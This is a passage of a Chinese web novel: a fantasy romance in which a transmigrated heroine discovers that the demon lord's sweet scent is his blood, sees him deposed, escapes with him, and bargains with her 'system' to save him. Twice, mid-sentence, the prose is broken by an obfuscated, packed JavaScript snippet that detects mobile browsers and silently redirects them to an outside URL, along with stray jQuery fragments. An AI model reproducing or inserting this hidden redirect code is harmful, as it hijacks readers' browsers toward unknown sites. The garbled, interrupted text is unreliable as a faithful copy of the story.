文可烟格外镇定,好不半分被抓包的心虚与慌乱,淡淡道:“我只是在散步。” 那语气,倒是真的很像她只是在这偌大的寝宫中随意闲逛,偶遇了他一般。 一旁的白酒看看文可烟,又看看地面,毛茸茸的小爪子在地上轻轻抓挠着。 细微的阵阵“沙沙”声从爪间传出,在这略显紧张的氛围中,倒像是在为这尴尬的场景伴奏。 白酒其实特别想去提醒一下烟烟,谁家散步会以这种佝偻着的姿态,站在原地一动不动啊? 不过,它看了眼羿逸安,终究还是选择了沉默,只是静静地趴在文可烟脚边。 羿逸安目光如炬,审视着文可烟,却始终未执一言。 文可烟不知他在想什么,总归不是如何朝她动手。经由这么多次的挑衅,她隐隐约约摸清了他的好脾性,他似乎并不打算杀她,也不知是为了守他们之间的两月之约,还是因为其他什么缘由。 她默默直起身,平直着身子缓缓后退了好几步,直至她与羿逸安之间拉开了正常的距离,才停下脚步。 这时,偏殿内走出一个紫色身影,她莲步轻移,裙摆随之摆动。 文可烟不动声色地缓慢移动着眼珠,目光与悦心的视线在空气中的某一点撞上。 “小殿下,妾身悦心。”悦心微微欠身,行了个温婉又得体的礼。 这是第几次与悦心见面了,文可烟记不清了,总归不是第一次。 方才他们二人的对话,她却大致听到了一些,只是心中仍有几分疑虑未消。 照她听来的意思,羿逸安与悦心似乎并无她所想象的那种情意。他们交谈时,语气疏离得如同正常又普通的上下级关系,没有丝毫暧昧。 当然,若要细细深究他们那段话里藏着的深意,文可烟自是听得云里雾里,什么“送出去”,“送过来”,她是一点儿也没听懂。不过,她也不在意就是了。 毕竟,这魔界之事,与她何干? 文可烟正欲将此事抛诸脑后,突然,心下猛地一动。 等等,送出去? 回想起之前,她曾不少次无意间撞见羿逸安和悦心碰面。他们每次见面时,好像很怕被人察觉。行事这般小心翼翼,这两魔定是在暗中进行着什么不可告人的勾当。就算不是不正经的勾当,至少也是极为隐蔽之事。而且,大长老想必是不知情的。 可具体是什么事情呢?文可烟微微蹙眉,其实她并不想深究。毕竟,知道的越多,麻烦也就越多。 不过,只要她能确定,在这魔界之中,除了羿逸安和悦心,其余魔众都被蒙在鼓里,那便足够了。 这于她而言,无疑是值得开香槟庆祝的美事一桩。 想到这里,文可烟心中一阵窃喜。她觉得自己似乎抓住了羿逸安的一个天大的把柄,心里底气顿时足了起来。 她抬眸朝羿逸安看去,殿门外那抹紫色身影已不在了。想来,悦心应该是去执行羿逸安交给她的任务了。 此时,四周没有外者存在,文可烟轻抬步子,慢慢逼近羿逸安。 终于,在距离羿逸安一步之遥的地方停下步子。 她微微仰起头,用挑衅与好奇的眼神,朝羿逸安看去,整个眸子分外明亮。 接着,她踮起脚尖,将嘴唇贴近羿逸安耳畔,轻声说道:“……我好像又知道你的秘密,所以,不想我告诉魔界的其他魔……就赶紧动手杀了我罢。” 羿逸安听闻此言,微微一怔,随即沉默片刻。而后,他缓缓俯下身,很是从容。 他学着文可烟的姿势,将嘴唇贴近文可烟的耳边,温热的气息喷洒在文可烟的耳畔,低沉的声音缓缓响起:“你不怕他们死,那就去说。” 像是陷入某种循环,两人之间此刻的对话与昨日上午的对话高度相似。只是……这次的氛围远没有上次那么严肃,空气中好似散落着一股若有若无的旖旎气息,多了几分轻松之意。 文可烟唇角忍不住勾起一抹微小的笑意。与此同时,萦绕在鼻翼间的香甜异香愈发浓郁。 这股香甜气息,像是提醒了她一般。 方才,悦心、羿逸安与她三人同处这一方天地。 羿逸安身上那股香甜异香,在文可烟离他近、面对他时,浓郁得如同醇厚的美酒,格外醉人。 即便之后文可烟后退远离了羿逸安,那香气也仅仅只是淡了一些,却依旧如影随形,没有丝毫消散的迹象。 若真仔细嗅嗅,那股异香颇有一种从羿逸安身体深处自然散发出来的感觉,就像是这香气就是羿逸安的气息早已融为了一体,是他灵魂的一部分,不分彼此,随着他的呼吸、他的动作而缓缓飘散。 而且,她刚刚特意留意了一下,并没有从悦心的方向闻见这相同的味道。相反,悦心身上有的是一种淡淡的脂粉香,那种香气有些甜腻,缺少了几分灵动,与羿逸安身上传来的异香截然不同。 若这味道是悦心身上的,为何羿逸安身上反而比悦心的更浓呢?更奇怪的是,悦心身上根本没有这股异香。 若不是悦心身上的香气,那又是谁的呢?从哪儿传出来的呢? 文可烟垂下眼眸,陷入了短暂的沉思。片刻之后,那密长的睫毛微微颤动,她不易察觉地偏过头抬起了眼帘,小心翼翼将探究的目光,悄悄移向羿逸安。 目光所及之处,是羿逸安的耳朵。 嗯 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那时,周边到处都是令人作呕的气味,无孔不入,唯有羿逸安周围能让她寻得一些喘息。也正因如此,她自动忽略了一些事情,比如,羿逸安身上的香气其实不同寻常。 在她当时的认知里,只觉得在他身边,自己才能感到一丝安宁。可谁知,原来从那时起,异香就已经开始影响她了。 可她可是文可烟呐,向来心如止水,什么东西都再难以在她内心掀起波澜,她不会被任何事物所左右。怎会因为区区一股香味就如此失态呢? 这香气指定是有问题,可文可烟也不能直接断定这是羿逸安身上的,毕竟她之前从未在他身上闻见过相同味道。 方才与羿逸安近距离的接触,她也咂摸出来一点东西。随着与羿逸安之间的距离逐渐减小,那股香气的威力也会逐渐增强。 而此刻,文可烟为了不被这股香气影响,做出什么不受控制的事情,她只能刻意地保持着一定距离。 说来也巧,羿逸安似乎也是这么想的。 回到寝殿后,他先是坐上了软榻,双手随意地搭在扶手上。中途,文可烟经过了他身边,他像是被触碰到了敏感的神经,警铃大作,立刻起身,快步走到了离文可烟七八尺的距离,好似在刻意避着什么。 文可烟被他突然的动作吓了一跳,脚步踉跄着后退了几小步,险些摔倒。她稳住身形后,疑惑地抬起头,用满是不解与莫名其妙的眼神看了羿逸安一眼。最后,她只是默默地经过软榻,坐在了距离甚远的木椅上。 羿逸安脚步一顿,想来是意识到自己反应过于大了。他微微侧过头,用余光瞥了文可烟一眼,又迅速转过头去,好似什么也没发生般,缓缓回到了软榻上,闭上了眼睛。 接下来的一段时间里,寝殿内一片寂静。羿逸安闭目养神,神情平静,文可烟则坐在木椅上,双手交叠放在身前,眼神有些游离。 不知过了多久,文可烟再一次瞄了一眼羿逸安。 这样的举动她做了很多次,每次看过去,羿逸安都是那副不动的样子,静静坐定在软榻上,像是睡着了一般。 49. 变动(七) 文可烟移开目光,看向了正趴在她身旁桌上的白酒,它似乎也是不想离羿逸安过于近,将身子蜷缩成一团,脑袋埋在前爪里,只露出两只毛茸茸的耳朵。 这样的状态,似乎和羿逸安不在时没什么两样…… 呃,好吧,其实至少多了个不可多得的美人,偶尔可以肆无忌惮地欣赏一番。 文可烟没忍住,伸手揉戳着白酒身后的九个小点,低下头用气音轻声对白酒说:“你是不是也觉得周围有股不寻常的香气?” 白酒原本正慵懒地趴着,听到文可烟的话,它将毛茸茸的脑袋偏向文可烟所在的一边,“不寻常的香气?” 文可烟点点头,“对啊,你没闻见你主人身上的异香吗?你难道不觉得奇怪吗?” 白酒沉默下来。 主人身上确实有奇香,可也没有烟烟说得那么玄乎啊,不就是普通的味道吗?难不成它今日术法在文可烟眼前告了吹,连嗅觉也出现了问题。它可不允许这样的事发生在它天下第一九尾灵宠身上,已经被烟烟看了笑话,可不能再次出丑了。 想到这儿,白酒硬着头皮,强装镇定地回应:“有啊,主人身上有异香。” 文可烟眼神登时一亮,涌起一股找到同道中人的欣喜。虽然白酒是灵宠,不是人。但好歹也是和她感同身受上了,也算有了个能交流的“伙伴”。 “那这一般是什么造成的?是遭人陷害?还是……”文可烟说到此处,微微停顿,眉头轻蹙,似是在脑海中苦苦思索另一个可能,可想来想去也找不到合适的答案。 于是她再次一字一顿地说出了同样的四个字:“遭人陷害。” “啊?”白酒一脸茫然,眼睛里写满了困惑,却依旧强撑着不露怯。心想着:既然烟烟只给了一个选项,那顺着它答下去指定没错。 “定是遭人陷害。”白酒故作肯定地说道,小脑袋还煞有介事地点了点头,好似已经洞悉了一切。 “你也这样觉得?可谁又能伤到他呢?这可是魔界。”文可烟越说越飞,声音也越来越小,到最后倒像是在自言自语。 唉,可怜白酒这孩子,碍于它自己忍不住想要和主人贴贴,可又怕主人恼怒它,所以才选择和她待在一起。 真是委屈它了。 “那你知道怎么解吗?”文可烟看着白酒,决定助它一臂之力。 “解?”白酒越听越糊涂了,圆溜溜的眼珠滴溜溜地转着,小爪子不自觉地挠了挠身下的软垫,心里不停地琢磨着对策。这“解”字背后的法子,它可着实想不出来啊。 思索良久,白酒突然眼睛一亮,接着用最平淡的语气说出了最惊人的话语:“……自然是将主人衣服脱下来。” ! 文可烟往日最是无波的眼睛,此刻掀起惊涛骇浪。她瞪大双眼,一脸不可置信地看着白酒,一时间脑子有些反应不过来:“……脱……脱衣服?” 嗯?这么简单?呸,这么朴实无华的方法,放在羿逸安身上可艰巨得很。而且,这也太超过了吧,怎么想都觉得荒诞不经。 文可烟甚至开始合理怀疑,此刻的白酒莫不是被系统附了身,为了让她完成任务,才说出这般离谱的话来。 “白酒。”文可烟神色一凛,严肃地叫了白酒一声,“你确定你……说的这方法靠谱吗?” 她怎么哪哪儿都觉得不对劲,处处都是坑呢? “怎……怎么不靠谱。”白酒难得结巴一瞬。 它可想过了,量烟烟也不可能真的去脱主人的衣服,肯定会就此作罢。等之后主人身上的香气消散,这件事自然也就随之消失,烟烟估计也早忘了还有这么一回事了。 天可怜见,它出世这么久以来,向来诚实守信,可从来没骗过人啊,如今,竟然……它心里满是委屈,却又不敢表露出来。 蓦地,寝殿内和谐的氛围,被一道气势十足的声音陡然打破。那声音似裹挟着风雷之势,惊得文可烟和白酒皆是身子一顿。 “你们在做什么?” 文可烟本该惊慌的眼眸瞬间染上几分诧异,她的第一反应并非是被抓包后的心虚、慌乱与害怕。此刻,她的心思全被羿逸安那低哑的嗓音给勾走了。 他嗓音听起来似乎比往日还要低哑几分,有种说不上来的倦怠。 莫不是他方才闭目休息得久了些?可他不过才合眼小憩了一会儿,况且也并非舒舒服服躺着,只是端坐在那儿。 紧接着,第二反应依旧是疑惑。 羿逸安他居然没听见? 她和白酒刚刚那么激烈地交谈,就差在他耳边说了,他没听见? 这念头一起,文可烟心里不禁有些庆幸。 幸好没听见,不然当着正主的面蛐蛐他,那场面挺尴尬的。 关键是谈的内容如此的……不正经。 且少儿不宜。 “那个,我有些困了,先睡了。”文可烟先一步开口。 其实,这也算不得是她的借口。经历这一连串的事情后,此刻已然是后半夜的尾端,她是困得眼睛都睁不太开了。 说着,她拖着沉重疲惫的身子走到床边。好不容易走到床边,她仰头一倒,直接躺在了床榻上。 真真是困极了,文可烟刚一沾床,就像是被抽干了所有力气,再也不管屋内的其他存在,一头扎进梦乡,睡得不省人事。 白酒或是为了不打扰羿逸安,又或是遵循文可烟的睡眠时间,也跟着回到自己的“小黑屋”休息恢复了。 睡梦中,各种嘈杂声响混沌地在文可烟脑子里打架。“砰”一声巨响,如同炸雷在耳边轰然炸响,文可烟猛地惊醒。 眼睛一睁,变了天。 视线里,本应该紧闭的宫门,此刻大大敞开着。狂风呼啸着灌进寝宫,吹得那轻薄的纱幔肆意飞舞。连寝殿内,只能从寝殿看见外面,而外者看不见的床榻处,都能感受到阵阵寒意。 文可烟不禁缩了缩身子,将被褥一把扯过来,严严实实地盖住自己全部身子,只留下一双睡眼惺忪的双眼在外。 寝宫门外,密密麻麻站满了人,最中间站着一个身影,低着头不知在干什么。 文可烟意识尚未完全清晰,眼前的景象在她眼中模糊不清,她只能感知到那剑拔弩张的氛围。 可她依旧静静躺在床榻上 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可时间就这么一分一秒地流逝着,寝宫内的气氛依旧凝重。 都过去这么久了,羿逸安为何还未解决这一切?按理说,以他的能力,应该早就将麻烦摆平了才是,可…… 文可烟内心渐渐涌起一股不安,她再也躺不住了,猛地起身,就这么直挺挺地朝着寝宫外走去。 还未见到羿逸安,她就被一股无形的力量控制住了,动弹不得。她顺势抬眼的瞬间,一缕胡须兀地出现在她的视线里。视线中的胡须黑中带白,在她眼前随风晃动着。 她向上移动眼珠,面无表情地与大长老平静回视。大长老的眼神中有着几分轻蔑与不屑,好似在看一个微不足道、不足提及的蝼蚁。 而视线的另一角,羿逸安已然没了她离开时那端坐如松的沉稳模样。只见他不知何故,整个人瘫倒在软榻之上,手脚也被闪烁着幽蓝色光芒的术法紧紧控制住,双手被动形成合拳的姿势。 整个人颇有几分被强抢来的清冷仙君的落魄模样,失去了往日的意气风发。 这下,文可烟的睡意彻底没了,瞬间清醒过来。 原来,魔族内部竟也会这般分裂,并不像表面上看上去那般齐心。 平日里那些隐藏在暗处的矛盾与纷争,此刻都赤裸裸地完全展现在文可烟眼前。 “小殿下,你可还有什么话要说的吗?” 文可烟毫不刻意地将目光瞥开,似是不想与大长老那充满审视的眼神对视。她顺势看了一眼羿逸安的情况,这一眼,让她的心猛地揪紧。 羿逸安面无血色,整个人都像是了无生机般,静静地躺在那里,连呼吸都十分轻浅。若不是那微微起伏的胸膛,文可烟几乎都要以为他已经…… 大长老盯着文可烟,眼神中满是算计与急切,他问了好多,说了很多,试图撬开文可烟的嘴,好让她吐出些有关于羿逸安的秘密,或是能成为扳倒羿逸安的把柄。 他威胁过,逼问过,诱导过,可无论他怎么折腾,文可烟始终紧闭双唇,不发一言,眼神冷漠而疏离,对他的挑衅与逼问全然无视。 50. 变动(八) 兴许是大长老觉得文可烟就像块捂不热的石头,任他如何做都毫无反应,实在无趣得很。他不禁冷哼一声,随后转过身去,宽大的衣袖在空中划出一道凌厉的弧线。 “众魔将听令!”大长老突然提高音量,声势浩大地在寝宫内回荡,震得寝宫内的烛火都微微晃动。 “尊上枉顾魔令,意图陷我魔族于不顾,差点儿酿成大祸。我们魔族,向来敬重强者,却绝不会恭迎心软之人成为魔尊。自此,魔尊不再为我魔族魔士,魔尊不再是魔尊,仅仅是为无名之士,择日问斩。” ! 什么?! 这都什么都跟什么。 文可烟懵了,怎么回事?怎么睡一觉的功夫,羿逸安从魔尊降为无名之士了。 即便内心戏十分多,各种情绪在她心中错杂翻涌,可文可烟面色依旧淡然平静,好似眼前发生的一切都与她毫无关系,也不值得她多浪费心神。 顿时,文可烟眼前一黑,等她再回过神来,一眨眼的功夫,她已被带到了一个熟悉的空间。 文可烟环顾了周围阴冷潮湿的牢房,鼻息间还有刺鼻的霉味。 一切如最初一般,破破烂烂,十分简陋。 只是现下,还多了一个俊美男子躺在那张简陋的木板床上。 文可烟脚步轻缓,走到床边,蹲下身子,默默凝视了一瞬。 接着,她不由自主地伸出手,想要触碰羿逸安的脸庞。指尖在即将触碰到他肌肤的瞬间,却又在半空中停住了,指尖微微颤抖着。 鼻息间的难闻气味,也早在她靠近时,被羿逸安身上的香甜气息盖住,变得清爽起来。 就这样静静呆看着羿逸安,文可烟脑中突然闪过一个念头。 有没有一种可能,她当时要是待在寝殿里不出来,会不会就不会被抓到这儿来了,也不会过来闻发霉的味道…… 罢了,更大的可能是,落在那群魔手下,她会死得很惨…… 还不如好好待在羿逸安身旁,至少,可以安然挺过两月之约。 而且……虽然不想承认,她确实还挺担心羿逸安的。 此刻的羿逸安,双眸紧闭,安静极了,真真像极了误入凡尘、克己复礼的清冷仙君了。 只不过,是一个气血不足的仙君。 当然,其实并非只有此时他才有这般出尘的气质,平日里,他举手投足间亦是风华绝代。可,当他睁开那双眼眸时,又似被漩涡困住,总让人觉得摄人心魄,好似不遵从他,灵魂都会被吸进去,全然不见此刻的虚弱与乖巧。 怎么睡个觉,这般雷打不醒,他的魔身发生了这么大的变故,他这个当事人居然还能如此安睡。 心里暗自吐槽完,羿逸安依然久久不醒,文可烟索性坐在地上,背靠着木床,似与羿逸安没有接触地依偎在一起。 她微微仰头,目光落在屋顶那斑驳的痕迹上。 开头便是结尾…… 她心中默默念着,嘴角泛起一抹苦涩又带着几分释然的笑意。 在这儿开始,亦在这儿结束…… 这样听上去,也蛮不错的,倒也有几分浪漫与凄美的。 况且,身旁还有个谪仙般的美男子陪着自己,已经够了……只是,能不能让她了无痛苦的死去啊?她可不想惨死在大长老手下。 她从始至终,只有这一个愿望。 如今想来,兜兜转转,还不如最开始的屏息溺死,或者毒酒一杯来得干脆。 文可烟现下只满心期待着羿逸安能在问斩前醒来,哪怕只是短短一瞬。只要他醒来,将自己先行杀死,他自己逃出去也好,或者被救出去也好……都好。 总归,到那时,他们便各自如愿,再无瓜葛。 这样,也算是一种得偿所愿吧。 鼻尖飘来丝丝缕缕的香甜气味,愈发浓郁,诱惑着文可烟做出一些越界的举动。 为了不“迫害”到羿逸安,她还是决定自己受苦,哪怕要面对的是那霉臭的味道。 她慢吞吞地起身,离羿逸安远了些。 刚走到离羿逸安最远的对角线处时,室内袭来一缕青烟。那青烟并非寻常之色,其中隐隐泛着紫色,宛如一条诡异的紫色丝带,在空气中缓缓飘动。 文可烟还未来得及警惕起来,逐渐显形的紫衣女子身形轻盈地一转,姣好的面容瞬间显露在她眼前。 是悦心。 就在悦心转身的刹那,与文可烟的视线撞了个正着。 也正是这一瞬间,不知为何,悦心此刻的举动显得十分慌乱,全然没了之前那般自洽从容的姿态。 只见她微微低下头,双手交叠在身前,竟向文可烟行了一礼,口中结结巴巴地说道:“属……属下来迟,望小殿下责罚。” 结巴什么? 一瞬间,文可烟疑虑颇多,比如,之前悦心不是还自称妾身,怎么突然就变成属下了?不过,这个疑虑被文可烟自己打消。细细想来,悦心本就是羿逸安的部下,这般自称倒也没错。 可那声“属下”,听在文可烟耳中,总觉得透着几分莫名的熟悉。以及悦心行礼的动作,也好像在哪里见过,有几分似曾相识的韵味…… 文可烟轻轻抬眸朝悦心看去,将心中刹那间闪过的疑虑暂时压下。她还是知晓当前局势危急,也分得清轻重缓急,当务之急。此刻最重要的事,是与悦心一同将羿逸安救出去。 还未等文可烟开口询问,悦心便似知晓她心中所想,主动开始今日前来牢房的目的。她双手轻轻一挥,从掌心放出两条细长丝线。 那两条丝线纤细如发,肉眼几乎难以察觉,迅速将羿逸安和文可烟的腰身牢牢缠住。 刹那间,周围紫色烟雾弥漫,文可烟只觉眼前一阵恍惚,周围的一切变得模糊而缥缈。 待视线恢复清晰时,两魔一人已然没入紫色烟雾之中,悄无声息地离开了阴森的牢房。 被悦心带着在空中疾飞,文可烟只觉风声在耳边呼啸而过。 一路上,畅通无阻,一切都顺利得如同开了外挂一般,超乎想象,就好像有人在暗中相助。 等飘他们飘飘然处于魔族和妖族的交界处上方时,周围的空气被一层厚重与污浊笼罩。 起初,文可烟并未觉得有何不妥。她和羿逸安如今在魔界定是待不下去了,而要离开魔界,自然得经由这妖魔两界的分界线。 可随着悦心带着他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423464|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓下降,视线里,地面越来越近,文可烟心中不禁泛起一丝不安,下意识地朝悦心看去。 悦心并未理会她的目光,只是专注地施展着术法。她的双手在空中快速翻飞,一道道柔和的光芒从她指尖溢出,小心翼翼地将羿逸安包裹起来,然后缓缓地安置好,让他稳稳地直立在地面上。 文可烟看着眼前那座破败却又熟悉的小屋,心中一惊,咋舌不已。 这小屋,她曾被芯核带来过。 不是,怎么…… 文可烟脑海中思绪纷飞,回想起不过才两盏茶的时间前,悦心那句别扭的“属……属下来迟,望小殿下责罚”,以及她那熟悉的行礼姿势,一个念头如闪电般在她脑海中划过。 悦心是芯核? ! 啊? 文可烟难以置信地看着悦心,又转头看看那破败的小屋。 别说,若是不看脸,悦心的身影的确和芯核十分相像,那身姿、那轮廓,像是一个模子刻出来的,可…… 文可烟微微张开樱唇,“……你……”尾音拖得老长,似有千言万语哽在喉间,半晌也没能吐出一句完整的话来。 此时,绕在羿逸安身上的丝线,已渐渐不堪重负,眼看就要支撑不住时。悦心神色一凛,不再迟疑,快步走到小屋前,伸出手一把推开了小屋门。 门刚一打开,一股带着淡淡的微风便扑面而来,吹起了悦心鬓角的几缕发丝。与此同时,她双手再次翻飞起来,施展着术法。一道柔和的光芒将羿逸安轻轻托起,随后缓缓地放置到了小屋里的床榻上。 文可烟默默跟了上去。 小屋内的灯光比刚刚在牢房里明亮了许多。在这柔和的灯光下,羿逸安的状态毫无遗漏地显现出来。 他面色苍白如纸,眉头微微蹙起,可始终不醒。 在牢房,文可烟其实尝试了好多次叫醒他,可都未成功。 此时,文可烟再也想不起方才对悦心身份的疑惑,一颗心全系在了羿逸安身上。她疾步走到床边,伸出手,似是要触碰,却又在即将触碰到他脸颊的瞬间,生生顿住了。 白皙纤长的指尖在距离他脸颊仅一寸之处微微颤抖,终究没落下。 “他到底怎么了?” 悦心微微低头,“回小殿下,尊上……”停顿了一会儿,才继续开口,像是有什么难言之隐:“尊上他该是累了。” 像是听见什么荒诞言论,文可烟重复道:“累了?” 外界传言他神通广大,是不可一世的魔尊,威名远扬,令人闻风丧胆。这样的魔头,怎么会累到发生如此大的变故,都毫无察觉? 内心有种隐隐的感觉,可她又不敢去确认。 “仅仅只是累了?”文可烟声音小得出奇,整个人像是陷入虚脱的状态里,毫无力气,只目光呆滞地看着羿逸安。 “是,确是如此。接下来,还烦请小殿下暂且留在此处照料尊上,属下先行出去探查一番,若有魔族之辈随行窥伺,属下定设法将其引开,免生诸多波澜。” 文可烟晕乎乎的,大脑一片混乱。后续悦心说了什么,她都没怎么听进去,只是胡乱地点了点头,便一心扎在了羿逸安身上。 51. 变动(九) 她此刻唯一想到的解决办法,就是将白酒从簪子里唤出来。 白酒刚被揪出来,就迎面迎来文可烟铺天盖的说话声:“白酒,你主人他怎么了?为什么一直不醒,而且脸色这么差?” 白酒扑闪着翅膀,从文可烟眼前飞到羿逸安身上的空中,文可烟的视线紧紧跟随着它,又落回到了羿逸安身上。 这一看,文可烟只觉心猛地一沉。 床榻上赫然渗出一片暗红之色,非是零星小片,而是漫漶成一大片,其状骇人,就像是盛开在床榻上的妖艳却又令人胆寒的食人花。 文可烟呼吸一滞,双腿发软,但还是强撑着,缓慢挪动着脚步,一步一步慢慢上前。目光紧紧锁在那片刺目的血迹上,手虚悬在身下那滩暗红血迹的上空中,迟迟不敢落下。 此刻绝不能随意移动羿逸安的身体去查看那些可怕的血迹,万一一个不小心,可能会给他带来更大的伤害。 犹豫良久,文可烟终是颤抖着将手轻轻放在了他衣袖处。指尖小心翼翼地轻轻碾磨了一下。 刹那间,血迹顺着她触碰到的地方,逐渐沾染在她指尖,刺眼而又沉重。 指尖微微发颤,连覆在其上的红色都好似被这颤抖传染,也跟着轻微抖动起来。 仅仅只是一点血迹,是根本无法形成这般触目惊心的厚重状态。 这般情景,倒像是血已经染尽了羿逸安整套衣衫。 此时,羿逸安周围萦绕的香甜气息越来越甚。当文可烟将手抬到眼前,不可置信地盯着指尖那抹血迹时,那气味竟又浓郁了几分,丝丝缕缕争先钻进她的鼻腔。 她鬼使神差般地将指尖移到鼻尖,轻轻嗅了一下。霎时,诸多复杂的气味混杂在一起,一股脑涌进鼻腔。 然在这纷繁芜杂之中,一股香甜气息却如鹤立鸡群般格外突出,将所有恶心又腥膻的味道皆掩盖了下去,显得那般格格不入,却又引人注目。 所以,羿逸安身上的这股香甜气息,是血的味道? 文可烟的心猛地一揪,一种不祥的预感涌了出来。 可这血,又是谁的呢?不像是人的,不像是鬼的,也不像是妖的……莫不是羿逸安的? 这个念头一在脑海中浮现,文可烟便倏地转过头,急切地朝羿逸安看去。 羿逸安周身已被一层柔和的光晕所笼罩。光晕中,隐隐有细微的流光闪烁,好似夜空中闪烁的星辰,又似是生命在悄然流动。 白酒在他上空静静环绕飞行着。期间,一直不停地有细微光芒从它身上闪烁而出,持续不断地给羿逸安的身体输入。 虽然文可烟知道白酒这是在救羿逸安,可她的心却还是不受控制地紧得一抽。 这些血都是羿逸安的?他受伤了?什么时候的事? 昨日幻境中的一幕幕在她眼前快速闪过,那时候便隐隐约约能闻到奇异的香甜气息……当时她只是觉得那气息好闻,却从未深想过它的来源。 原来,他早在那时就受了伤,而她竟毫无察觉。 那时,她亲眼目睹成窝的人身瘫倒在血泊之中,狼狈不堪。而羿逸安完好无损地站在她眼前,甚至还不费吹灰之力地抱起了她。 再加上听闻了那么多关于魔尊的传言,她下意识地认为他天下无敌,根本不会受伤,以为他定是单方面地对那些人进行了屠杀。 而且,他总是一袭玄衣,深暗的颜色将一切都隐藏得严严实实,她根本看不出任何端倪。 在幻境中,他浑身浴血,鲜血浸透了衣衫,浓稠得在地上溅起一滴又一滴的血花。 而她当时是什么感受? 她只是觉得周围的血腥令人作呕,理所当然地以为那些血迹皆是旁人的,从未有过他早已受伤了的念头。 甚至,她还将他身上的香甜视作解救自己脱离那恶心味道的一剂“良药”,全然没往这香甜治愈的气息就是他的血液上想。 那之后,他们回到了寝宫,羿逸安也并未有什么异常情况,神色如常地和悦心有条不紊地开了个小会。 谁能想到……竟留了这么多血,到现在都昏迷不醒。 此刻,白酒输出的话光芒逐渐微弱。 许是能量消耗过大,白酒已渐渐力不从心,身体在空中轻微摇晃,好似随时都会坠落。 文可烟的眸光中满溢着忧虑,轻轻转动,最终定格在羿逸安那张了无血色的面容上。 羿逸安他沉睡如初,没有丁点儿要醒来的迹象,安静得让人害怕,又让人心疼。 “系统,你在吗?” 【在的,宿主】 “羿逸安他究竟伤在了何处?为何迟迟不醒?有没有什么办法能救他?” 一连串的问题如同连珠炮般接连而出,系统沉默了片刻,似乎在权衡着什么。 【宿主,你当真要救他吗?】 文可烟一愣,一股不太好的预感升起:“你这话是什么意思?” 【宿主目前尚未达成20%及其倍数的任务进度,若要提前获取奖励以救治羿逸安,需以等价之物作为交换。】 “什么等价之物?” 【宿主需承诺,自此以后,不再主动萌生死志。】 文可烟闻言,心中暗自盘算,检索着其它可能性。 主动想死?那被动呢?这算不算是个漏洞? 她觉得自己好像捡了一个天大的便宜。 可这便宜背后,又隐藏着怎样的算计?她一时竟分不清,是自己真的钻了系统的空子,还是系统太过“单纯”,让她有机可乘。 最终,文可烟抬起头来,应了下来:“行,我答应你。” 【由于提前兑换奖励,属于赊账行为,既属于赊账行为,那么自然会产生利息】 文可烟默然,合着这系统绕了这么大一个圈子,搁这儿等着她呢。 看来到底是谁占了谁的便宜,还真不好说。 “你……所说的利息,究竟是什么?” 【利息的索取,将由宿主当下的心境所决定。只是目前时机尚未成熟,宿主还不能知晓具体内容。】 系统的回答模棱两可,让文可烟更加不安。 “……”她有种被算计上了贼船的感觉。 “你的意思是,现在就已经确定了利息的内容,只是暂时不能告诉我?”文可烟试图从系统的只言片语中寻找线索,哪怕只是一丝蛛丝马迹。 她仍踌躇不决,系统机械的声音适时响起,紧迫中又似乎暗含着某种诱惑。 【是的,宿主,机会稍纵即逝,童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423465|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叟无欺,一旦错过,便再无此等良机。】 “……行吧。”文可烟答应得不情不愿。 【宿主可确认了,奖励一旦兑换,将无法反悔更改】 “确认。”文可烟几乎是从牙缝里挤出这两个字,却又无可奈何。 【……】 话音刚落,四周的空气好似凝固了一般,死寂无声。 文可烟刚想开口追问,如何救羿逸安,系统的声音再次响起。 【……恭喜宿主,好感度上涨至20%,请继续努力!】 紧接着,系统像是被什么卡住了一般,挺顿了片刻,才缓缓开口:【……任务完成度已达五分之一,后续礼物将会自动送达至宿主。接下来两分钟后,将启动清算模式,倒计时已开始,119、118……】 “……” 文可烟无言以对,文可烟有苦说不出…… 她想再挣扎一下,“有没有可能……我想取消刚才的交易?” 【……99、98……宿主,交易一旦确认,便不可更改,91、90……】 “……” 这系统不会是糊弄她?怎么会如此巧,她刚一确认,好感度就到20%了。 【88、87……】 像催命符一般,文可烟被系统一声一声的倒计时搞得心慌意乱,脑中根本无法思考,也顾不上与系统理论,更别说讨伐了,急切开口:“等等,你也没告诉我怎么救他啊!” 系统终于开始解答她最初的问题,只是它所选择的,是最能促进两人情感发展的那个问题答案。 【……其实,你自己就可以救他……78、77……】 “我?”文可烟一时怔在原地,话题转换之快,让她有些措手不及。 【是的,你的能力与白酒的能力同源而生,皆拥有着极为强大的治愈修复之力,当然,你的能力更为强大……67……】 文可烟听得呆了几瞬,过了好一会儿才回过神来,喃喃道:“我怎么不知道,而且,我都与你达成交易了,难道不是你出手相救吗?” 【宿主,你忘了吗?当初是你自己心灰意冷,一副死鱼样,对世间万物都失去了兴趣。我当初可是全说过,只是我说什么你都充耳不闻……58、57……】系统略显无奈。 “……” 文可烟紧抿着唇,完全不想说话了。她只觉得这系统好生狡猾,不仅浪费时间讲这么一大段没用的话,还坑走了她两个要求,其中一个更是藏着掖着,不让她知晓。 万一日后提出什么违背她本心的事情,可怎么办?可交易已成定局,无法反悔了。 文可烟只能默默祈祷,希望那个所谓的“利息”不会太过苛刻,让她难以承受。 “那……要怎么救?” 【脱衣服】 【37……】 